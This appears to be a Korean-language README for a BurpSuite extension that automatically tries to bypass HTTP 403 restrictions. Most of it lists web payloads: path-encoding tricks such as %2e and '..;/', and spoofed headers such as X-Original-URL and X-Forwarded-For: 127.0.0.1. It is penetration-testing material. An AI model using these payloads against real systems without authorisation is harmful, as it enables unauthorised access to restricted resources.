sting8k/burpsuite_403bypasserBurpsuite 확장 프로그램으로 403 제한 디렉토리를 우회합니다.
403 제한 디렉터리를 우회하는 BurpSuite 확장 프로그램입니다. PassiveScan(기본 활성화)을 사용하면 각 403 요청이 이 확장 프로그램에 의해 자동으로 스캔되므로 BurpSuite에 추가하기만 하면 됩니다.
페이로드: $1: 호스트명 $2: 경로
$1/$2
$1/%2e/$2
$1/$2/.
$1//$2//
$1/./$2/./
$1/$2anything -H "X-Original-URL: /$2"
$1/$2 -H "X-Custom-IP-Authorization: 127.0.0.1"
$1 -H "X-Rewrite-URL: /$2"
$1/$2 -H "Referer: /$2"
$1/$2 -H "X-Originating-IP: 127.0.0.1"
$1/$2 -H "X-Forwarded-For: 127.0.0.1"
$1/$2 -H "X-Remote-IP: 127.0.0.1"
$1/$2 -H "X-Client-IP: 127.0.0.1"
$1/$2 -H "X-Host: 127.0.0.1"
$1/$2 -H "X-Forwarded-Host: 127.0.0.1"
$1/$2%20/
$1/%20$2%20/
$1/$2?
$1/$2???
$1/$2//
$1/$2/
$1/$2/.randomstring
$1/$2..;/
많은 페이로드를 기여해 주신 @lohubi님께 감사드립니다.
BurpSuite -> Extender -> Extensions -> Add -> Extension Type: Python -> Select file: 403bypasser.py -> Next till Finish
